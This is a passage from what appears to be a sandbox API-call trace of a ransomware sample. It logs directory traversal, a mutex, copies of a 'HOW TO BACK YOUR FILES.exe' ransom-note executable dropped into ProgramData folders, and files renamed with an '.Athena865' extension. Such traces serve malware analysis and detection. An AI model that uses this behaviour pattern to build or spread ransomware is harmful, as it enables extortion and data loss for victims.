FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\office\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.622] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc48100c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc48100c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0097.622] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.622] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.622] lstrcpyW (in: lpString1=0x241e89c, lpString2="OfficeSoftwareProtectionPlatform" | out: lpString1="OfficeSoftwareProtectionPlatform") returned="OfficeSoftwareProtectionPlatform" [0097.622] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bba8 [0097.622] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x96) returned 0x53cd20 [0097.622] lstrcatW (in: lpString1="OfficeSoftwareProtectionPlatform", lpString2="\\" | out: lpString1="OfficeSoftwareProtectionPlatform\\") returned="OfficeSoftwareProtectionPlatform\\" [0097.622] lstrcatW (in: lpString1="OfficeSoftwareProtectionPlatform\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe") returned="OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe" [0097.622] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\officesoftwareprotectionplatform\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.622] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc48100c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc48100c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RAC", cAlternateFileName="")) returned 1 [0097.623] lstrcmpiW (lpString1="RAC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.623] lstrcmpiW (lpString1="RAC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.623] lstrcpyW (in: lpString1=0x241e89c, lpString2="RAC" | out: lpString1="RAC") returned="RAC" [0097.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bbc0 [0097.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x51bdc0 [0097.623] lstrcatW (in: lpString1="RAC", lpString2="\\" | out: lpString1="RAC\\") returned="RAC\\" [0097.623] lstrcatW (in: lpString1="RAC\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="RAC\\HOW TO BACK YOUR FILES.exe") returned="RAC\\HOW TO BACK YOUR FILES.exe" [0097.623] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\RAC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\rac\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.623] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0097.623] lstrcmpiW (lpString1="Search", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.623] lstrcmpiW (lpString1="Search", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.623] lstrcpyW (in: lpString1=0x241e89c, lpString2="Search" | out: lpString1="Search") returned="Search" [0097.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bbd8 [0097.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52e4a0 [0097.624] lstrcatW (in: lpString1="Search", lpString2="\\" | out: lpString1="Search\\") returned="Search\\" [0097.624] lstrcatW (in: lpString1="Search\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Search\\HOW TO BACK YOUR FILES.exe") returned="Search\\HOW TO BACK YOUR FILES.exe" [0097.624] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\Search\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\search\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.624] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0097.624] lstrcmpiW (lpString1="User Account Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.624] lstrcmpiW (lpString1="User Account Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.624] lstrcpyW (in: lpString1=0x241e89c, lpString2="User Account Pictures" | out: lpString1="User Account Pictures") returned="User Account Pictures" [0097.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bbf0 [0097.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x519f70 [0097.624] lstrcatW (in: lpString1="User Account Pictures", lpString2="\\" | out: lpString1="User Account Pictures\\") returned="User Account Pictures\\" [0097.624] lstrcatW (in: lpString1="User Account Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="User Account Pictures\\HOW TO BACK YOUR FILES.exe") returned="User Account Pictures\\HOW TO BACK YOUR FILES.exe" [0097.624] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\User Account Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\user account pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.625] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0097.625] lstrcmpiW (lpString1="Vault", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.625] lstrcmpiW (lpString1="Vault", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.625] lstrcpyW (in: lpString1=0x241e89c, lpString2="Vault" | out: lpString1="Vault") returned="Vault" [0097.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bc08 [0097.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x60) returned 0x51bd58 [0097.625] lstrcatW (in: lpString1="Vault", lpString2="\\" | out: lpString1="Vault\\") returned="Vault\\" [0097.625] lstrcatW (in: lpString1="Vault\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Vault\\HOW TO BACK YOUR FILES.exe") returned="Vault\\HOW TO BACK YOUR FILES.exe" [0097.625] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\Vault\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\vault\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.626] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1 [0097.626] lstrcmpiW (lpString1="VISIO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.626] lstrcmpiW (lpString1="VISIO", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.626] lstrcpyW (in: lpString1=0x241e89c, lpString2="VISIO" | out: lpString1="VISIO") returned="VISIO" [0097.626] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bc20 [0097.626] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x60) returned 0x51bcf0 [0097.626] lstrcatW (in: lpString1="VISIO", lpString2="\\" | out: lpString1="VISIO\\") returned="VISIO\\" [0097.626] lstrcatW (in: lpString1="VISIO\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="VISIO\\HOW TO BACK YOUR FILES.exe") returned="VISIO\\HOW TO BACK YOUR FILES.exe" [0097.626] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\VISIO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\visio\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.627] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0097.647] lstrcmpiW (lpString1="Windows", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.647] lstrcmpiW (lpString1="Windows", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.647] lstrcpyW (in: lpString1=0x241e89c, lpString2="Windows Defender" | out: lpString1="Windows Defender") returned="Windows Defender" [0097.648] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bc38 [0097.648] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x53b620 [0097.648] lstrcatW (in: lpString1="Windows Defender", lpString2="\\" | out: lpString1="Windows Defender\\") returned="Windows Defender\\" [0097.648] lstrcatW (in: lpString1="Windows Defender\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Defender\\HOW TO BACK YOUR FILES.exe") returned="Windows Defender\\HOW TO BACK YOUR FILES.exe" [0097.648] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\Windows Defender\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\windows defender\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.649] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc485c380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc485c380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0097.649] lstrcmpiW (lpString1="Windows NT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.649] lstrcmpiW (lpString1="Windows NT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.649] lstrcpyW (in: lpString1=0x241e89c, lpString2="Windows NT" | out: lpString1="Windows NT") returned="Windows NT" [0097.649] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bc50 [0097.649] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x5396f8 [0097.649] lstrcatW (in: lpString1="Windows NT", lpString2="\\" | out: lpString1="Windows NT\\") returned="Windows NT\\" [0097.649] lstrcatW (in: lpString1="Windows NT\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows NT\\HOW TO BACK YOUR FILES.exe") returned="Windows NT\\HOW TO BACK YOUR FILES.exe" [0097.649] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\Windows NT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\windows nt\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.649] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc48824e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc48824e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0097.649] lstrcmpiW (lpString1="WwanSvc", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.649] lstrcmpiW (lpString1="WwanSvc", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.649] lstrcpyW (in: lpString1=0x241e89c, lpString2="WwanSvc" | out: lpString1="WwanSvc") returned="WwanSvc" [0097.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bc68 [0097.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x52e430 [0097.650] lstrcatW (in: lpString1="WwanSvc", lpString2="\\" | out: lpString1="WwanSvc\\") returned="WwanSvc\\" [0097.650] lstrcatW (in: lpString1="WwanSvc\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="WwanSvc\\HOW TO BACK YOUR FILES.exe") returned="WwanSvc\\HOW TO BACK YOUR FILES.exe" [0097.650] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft\\WwanSvc\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft\\wwansvc\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.650] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc48824e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc48824e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0 [0097.650] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.650] ReleaseMutex (hMutex=0xec) returned 1 [0097.650] CloseHandle (hObject=0xec) returned 1 [0097.650] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Application Data\\Microsoft Help" | out: lpString1="C:\\ProgramData\\Application Data\\Microsoft Help") returned="C:\\ProgramData\\Application Data\\Microsoft Help" [0097.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x523fb8 | out: hHeap=0x4f0000) returned 1 [0097.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530ab8 | out: hHeap=0x4f0000) returned 1 [0097.650] lstrlenW (lpString="C:\\ProgramData\\Application Data\\Microsoft Help") returned 46 [0097.651] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\AC8D49B91A9C8AC6B35AF99458994155") returned 0xec [0097.651] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.651] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Application Data\\Microsoft Help" | out: lpString1="C:\\ProgramData\\Application Data\\Microsoft Help") returned="C:\\ProgramData\\Application Data\\Microsoft Help" [0097.651] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.651] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft help\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.651] CreateFileW (lpFileName="C:\\ProgramData\\Application Data\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\microsoft help\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.651] GetLastError () returned 0x0 [0097.651] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0097.652] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.652] CloseHandle (hObject=0xf4) returned 1 [0097.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0097.652] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.652] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\Microsoft Help\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xc4b2fda0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b2fda0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.653] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.653] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.653] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Hx.hxn.Athena865" | out: lpString1="Hx.hxn.Athena865") returned="Hx.hxn.Athena865" [0097.653] lstrlenW (lpString="Hx.hxn.Athena865") returned 16 [0097.653] lstrlenW (lpString="Athena865") returned 9 [0097.653] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.653] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa72fc10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa72fc10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc48f4900, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.EXCEL.14.1033.hxn.Athena865", cAlternateFileName="MSEXCE~1.ATH")) returned 1 [0097.653] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.653] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.653] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.EXCEL.14.1033.hxn.Athena865" | out: lpString1="MS.EXCEL.14.1033.hxn.Athena865") returned="MS.EXCEL.14.1033.hxn.Athena865" [0097.653] lstrlenW (lpString="MS.EXCEL.14.1033.hxn.Athena865") returned 30 [0097.653] lstrlenW (lpString="Athena865") returned 9 [0097.653] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.653] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa755d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa755d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc491aa60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.EXCEL.DEV.14.1033.hxn.Athena865", cAlternateFileName="MSEXCE~2.ATH")) returned 1 [0097.653] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.653] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.653] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.EXCEL.DEV.14.1033.hxn.Athena865" | out: lpString1="MS.EXCEL.DEV.14.1033.hxn.Athena865") returned="MS.EXCEL.DEV.14.1033.hxn.Athena865" [0097.654] lstrlenW (lpString="MS.EXCEL.DEV.14.1033.hxn.Athena865") returned 34 [0097.654] lstrlenW (lpString="Athena865") returned 9 [0097.654] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.654] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc4940bc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.GRAPH.14.1033.hxn.Athena865", cAlternateFileName="MSGRAP~1.ATH")) returned 1 [0097.654] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.654] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.654] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.GRAPH.14.1033.hxn.Athena865" | out: lpString1="MS.GRAPH.14.1033.hxn.Athena865") returned="MS.GRAPH.14.1033.hxn.Athena865" [0097.654] lstrlenW (lpString="MS.GRAPH.14.1033.hxn.Athena865") returned 30 [0097.654] lstrlenW (lpString="Athena865") returned 9 [0097.654] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.654] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfd789af0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd789af0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc4940bc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.GROOVE.14.1033.hxn.Athena865", cAlternateFileName="MSGROO~1.ATH")) returned 1 [0097.654] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.654] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.654] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.GROOVE.14.1033.hxn.Athena865" | out: lpString1="MS.GROOVE.14.1033.hxn.Athena865") returned="MS.GROOVE.14.1033.hxn.Athena865" [0097.654] lstrlenW (lpString="MS.GROOVE.14.1033.hxn.Athena865") returned 31 [0097.654] lstrlenW (lpString="Athena865") returned 9 [0097.654] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.654] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4966d20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.INFOPATH.14.1033.hxn.Athena865", cAlternateFileName="MSINFO~1.ATH")) returned 1 [0097.654] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.654] lstrcmpiW (lpString1="MS.INFOPATH.14.1033.hxn.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.654] lstrcpyW (in: lpString1=0x241e8a6, lpString2="MS.INFOPATH.14.1033.hxn.Athena865" | out: lpString1="MS.INFOPATH.14.1033.hxn.Athena865") returned="MS.INFOPATH.14.1033.hxn.Athena865" [0097.654] lstrlenW (lpString="MS.INFOPATH.14.1033.hxn.Athena865") returned 33 [0097.654] lstrlenW (lpString="Athena865") returned 9 [0097.654] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.654] FindNextFileW (in: hFindFile=0x529550, 